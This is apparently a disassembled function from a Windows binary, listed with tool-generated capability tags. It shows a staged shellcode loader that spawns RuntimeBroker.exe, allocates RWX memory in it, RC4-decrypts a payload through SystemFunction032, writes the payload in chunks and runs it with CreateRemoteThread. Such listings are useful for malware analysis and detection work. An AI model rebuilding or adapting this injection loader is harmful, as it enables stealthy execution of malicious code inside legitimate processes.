Function at 0x140001330
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call
Inject thread
Set registry value
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x240]
sub rsp, 0x340
mov rax, qword [0x14003c010]
xor rax, rsp
mov qword [rbp + 0x230], rax
movups xmm0, xmmword [str.C:WindowsSystem32RuntimeBroker.exe__Embedding]
movzx eax, byte [0x14001d510]
mov rsi, rdx
movups xmm1, xmmword [0x14001d4f0]
mov edi, ecx
xor edx, edx
movaps xmmword [rbp + 0x120], xmm0
lea rcx, [rbp + 0x151]
movups xmm0, xmmword [0x14001d500]
mov r8d, 0xd3
mov byte [rbp + 0x150], al
movaps xmmword [rbp + 0x130], xmm1
movaps xmmword [rbp + 0x140], xmm0
call fcn.140002bf0
xor edx, edx
lea rcx, [rbp + 0x10]
mov r8d, 0x104
call fcn.140002bf0
xor r14d, r14d
xor eax, eax
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
mov dword [rsp + 0x5c], r14d
mov dword [rsp + 0x58], r14d
mov qword [rsp + 0x50], r14
movups xmmword [rsp + 0x70], xmm0
cmp edi, 1
jne 0x140001582
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, edi
lea rcx, str._n__d__Current_PID:__d__n
mov r8d, eax
call fcn.140001bf0
xorps xmm0, xmm0
mov dword [rbp - 0x60], 0x68
xor eax, eax
mov qword [rbp - 0x58], r14
mov ecx, 0x18
movdqa xmmword [rbp - 0x50], xmm0
lea rdi, [rsp + 0x70]
mov qword [rbp - 0x40], r14
rep stosb byte [rdi], al
lea rcx, [rbp + 0x120]
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
mov dword [rbp - 0x20], r14d
mov qword [rbp - 0x18], r14
movdqa xmmword [rbp - 0x10], xmm0
mov qword [rbp], r14
call fcn.140005d90
mov rdi, rax
test rax, rax
jne 0x14000146c
lea r8d, [r14 + 0x14]
lea rdx, [rbp + 0x120]
lea rcx, str.____Failed_To_Duplicate___s_____d_n
call fcn.140001bf0
jmp 0x1400014de
mov edx, 0x5c
mov rcx, rdi
call fcn.140002a80
test rax, rax
je 0x140001481
mov byte [rax], r14b
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x120]
lea rax, [rbp - 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400014de
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, 0x1c
lea rcx, str.____CreateProcessA___d__Failed_with_Error:__d__n
mov r8d, eax
call fcn.140001bf0
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x1400014ee
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x1400014fb
mov rcx, rdi
call fcn.140005e08
mov rbx, qword [rsp + 0x70]
test rbx, rbx
je 0x14000183e
mov edx, 1
mov rcx, rbx
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x14000153c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____SetHandleInformation_Failed_with_Error:__d__n
call fcn.140001bf0
mov eax, 0xffffffff
jmp 0x140001bbb
mov r8d, dword [rbp - 0x80]
lea rcx, str.__d__Created_Target_Process:__d___p___n
mov r9, rbx
mov edx, 1
call fcn.140001bf0
mov r9, rbx
lea r8, [0x14001d590]
mov edx, 0x104
lea rcx, [rbp + 0x10]
call fcn.140001c50
lea rcx, [rbp + 0x10]
call fcn.140001050
test eax, eax
je 0x14000183e
jmp 0x140001bb0
cmp edi, 2
jne 0x14000166a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, edi
lea rcx, str._n__d__Current_PID:__d__n
mov r8d, eax
call fcn.140001bf0
mov rdi, qword [rsi + 8]
lea r8, [rsp + 0x60]
mov rcx, rdi
mov qword [rsp + 0x60], r14
lea rdx, str._llx
call fcn.140001cb0
test eax, eax
jne 0x1400015d7
mov rdx, rdi
lea rcx, str.____Failed_To_Convert___s__Into_An_Ineger_n
call fcn.140001bf0
mov rbx, r14
jmp 0x1400015dc
mov rbx, qword [rsp + 0x60]
mov r8, rbx
lea rcx, str.__d__Fetched_Target_Process_Handle:__p__n
mov edx, 2
call fcn.140001bf0
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x14000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140001633
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAllocEx_Failed_with_Error:__d__n
call fcn.140001bf0
lea eax, [rdi - 1]
jmp 0x140001bbb
mov r8, rdi
lea rcx, str.__d__Allocated_Memory_At:_0x_p__n
mov edx, 2
call fcn.140001bf0
mov r9, qword [rsi + 8]
lea r8, str._s__p
mov edx, 0x104
mov qword [rsp + 0x20], rdi
lea rcx, [rbp + 0x10]
call fcn.140001c50
jmp 0x1400018a4
cmp edi, 3
jne 0x14000174a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, edi
lea rcx, str._n__d__Current_PID:__d__n
mov r8d, eax
call fcn.140001bf0
mov rcx, qword [rsi + 0x10]
call fcn.140001000
mov rcx, qword [rsi + 8]
mov rdi, rax
call fcn.140001000
mov r8, rax
lea rcx, str.__d__Fetched_Target_Process_Handle:__p__n
mov edx, 3
mov rbx, rax
call fcn.140001bf0
mov r8, rdi
lea rcx, str.__d__Fetched_Allocated_Base_Address:_0x_p__n
mov edx, 3
call fcn.140001bf0
lea rax, [rsp + 0x5c]
mov r9d, 0x40
mov r8d, 0x14000
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x14000170e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtectEx_Failed_with_Error:__d__n
call fcn.140001bf0
mov eax, 0xffffffff
jmp 0x140001bbb
mov edx, 3
lea rcx, str.__d__Memory_Region_Is_Now_RWX__n
call fcn.140001bf0
mov r9, qword [rsi + 8]
lea r8, str._s__p__d
mov edx, 0x104
mov dword [rsp + 0x28], 0x100
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x20], rdi
call fcn.140001c50
jmp 0x1400018a4
cmp edi, 4
jne 0x1400018ea
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, edi
lea rcx, str._n__d__Current_PID:__d__n
mov r8d, eax
call fcn.140001bf0
mov rcx, qword [rsi + 0x10]
call fcn.140001000
mov rcx, qword [rsi + 8]
mov rdi, rax
call fcn.140001000
mov r8, rax
lea rcx, str.__d__Fetched_Target_Process_Handle:__p__n
mov edx, 4
mov rbx, rax
call fcn.140001bf0
mov r8, rdi
lea rcx, str.__d__Fetched_Allocated_Base_Address:_0x_p__n
mov edx, 4
call fcn.140001bf0
lea r8, section..data
mov dword [rbp - 0x78], 0x14000
lea r15, [0x140028010]
mov qword [rsp + 0x68], r8
lea rcx, str.Advapi32
mov dword [rbp - 0x74], 0x14000
mov qword [rbp - 0x70], r15
mov dword [rsp + 0x60], 0x10
mov dword [rsp + 0x64], 0x10
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001810
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____GetProcAddress_Failed_With_Error:__d__n
jmp 0x140001826
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x78]
call rax
test eax, eax
je 0x140001848
lea rcx, str.____SystemFunction032_Failed_With_Error:_0x_0.8X__n
mov edx, eax
call fcn.140001bf0
mov edx, 0x14e
lea rcx, str.____Failed_To_Decrypt_Payload:__d_n
call fcn.140001bf0
mov eax, 0xffffffff
jmp 0x140001bbb
lea rax, [rsp + 0x50]
mov r9d, 0x400
mov r8, r15
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400018b6
cmp qword [rsp + 0x50], 0x400
jne 0x1400018b6
mov r9, qword [rsi + 8]
lea r8, str._s__p__d__d
mov dword [rsp + 0x30], 1
lea rcx, [rbp + 0x10]
mov dword [rsp + 0x28], 0x100
mov edx, 0x104
mov qword [rsp + 0x20], rdi
call fcn.140001c50
lea rcx, [rbp + 0x10]
call fcn.140001050
test eax, eax
je 0x14000183e
jmp 0x140001bab
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteProcessMemory_Failed_with_Error:__d__n
call fcn.140001bf0
mov edx, dword [rsp + 0x50]
lea rcx, str._i__Wrote__d_of__d_Bytes__n
mov r8d, 0x400
call fcn.140001bf0
mov eax, 0xffffffff
jmp 0x140001bbb
cmp edi, 5
jne 0x140001aa1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, edi
lea rcx, str._n__d__Current_PID:__d__n
mov r8d, eax
call fcn.140001bf0
mov rcx, qword [rsi + 0x10]
call fcn.140001000
mov rcx, qword [rsi + 8]
mov r14, rax
call fcn.140001000
mov r8, rax
lea rcx, str.__d__Fetched_Target_Process_Handle:__p__n
mov edx, edi
mov rbx, rax
call fcn.140001bf0
mov r8, r14
lea rcx, str.__d__Fetched_Allocated_Base_Address:_0x_p__n
mov edx, edi
call fcn.140001bf0
mov rcx, qword [rsi + 0x20]
call fcn.140006570
mov r8d, eax
lea rcx, str.__d__Current_Process_Number:__d__n
mov edx, 5
mov edi, eax
call fcn.140001bf0
lea r15, [0x140028010]
mov r9d, 0x10
mov rcx, r15
lea r8, section..data
mov edx, 0x14000
call fcn.140001280
test eax, eax
jne 0x140001992
mov edx, 0x178
jmp 0x140001832
mov eax, edi
mov r9d, 0x400
shl eax, 0xa
mov rcx, rbx
lea r8, [rax + r15]
lea rdx, [rax + r14]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001a6d
cmp qword [rsp + 0x50], 0x400
jne 0x140001a6d
inc edi
cmp edi, 0x50
jne 0x140001a1d
lea edx, [rdi - 0x4b]
lea rcx, str.__d__Payload_Is_Written_To_Target_Process__n
call fcn.140001bf0
mov r9, qword [rsi + 8]
lea r8, str._s__p__d__d__d
mov dword [rsp + 0x38], 0x100
lea rcx, [rbp + 0x10]
mov dword [rsp + 0x30], 0x100
mov edx, 0x104
mov dword [rsp + 0x28], 0x100
mov qword [rsp + 0x20], r14
call fcn.140001c50
jmp 0x140001a47
mov r9, qword [rsi + 8]
lea r8, str._s__p__d__d
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x10]
mov dword [rsp + 0x28], 0x100
mov edx, 0x104
mov qword [rsp + 0x20], r14
call fcn.140001c50
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x10]
call fcn.140001050
test eax, eax
jne 0x140001bab
mov eax, 0xffffffff
jmp 0x140001bbb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____WriteProcessMemory_Failed_with_Error:__d__n
call fcn.140001bf0
mov edx, dword [rsp + 0x50]
lea rcx, str._i__Wrote__d_of__d_Bytes__n
mov r8d, 0x400
call fcn.140001bf0
mov eax, 0xffffffff
jmp 0x140001bbb
cmp edi, 6
jne 0x140001bb9
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, edi
lea rcx, str._n__d__Current_PID:__d__n
mov r8d, eax
call fcn.140001bf0
mov rcx, qword [rsi + 0x10]
call fcn.140001000
mov rcx, qword [rsi + 8]
mov rdi, rax
call fcn.140001000
mov r8, rax
lea rcx, str.__d__Fetched_Target_Process_Handle:__p__n
mov edx, 6
mov rbx, rax
call fcn.140001bf0
mov r8, rdi
lea rcx, str.__d__Fetched_Allocated_Base_Address:_0x_p__n
mov edx, 6
call fcn.140001bf0
mov edx, 6
lea rcx, str.__d__Sleeping_...
call fcn.140001bf0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.___DONE__n
call fcn.140001bf0
lea rax, [rsp + 0x58]
mov r9, rdi
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov dword [rsp + 0x28], r14d
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
test rax, rax
jne 0x140001b6f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateRemoteThread_Failed_with_Error:__d__n
call fcn.140001bf0
lea eax, [rdi - 1]
jmp 0x140001bbb
mov r8d, dword [rsp + 0x58]
lea rcx, str.__d__Payload_Is_Executed_Using_A_Thread_Of_ID:__d__n
mov edx, 6
call fcn.140001bf0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov edx, 6
lea rcx, str.__d__Target_PID:__d__n
mov r8d, eax
call fcn.140001bf0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x140001bb9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x230]
xor rcx, rsp
call fcn.140001da0
mov rbx, qword [rsp + 0x380]
add rsp, 0x340
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret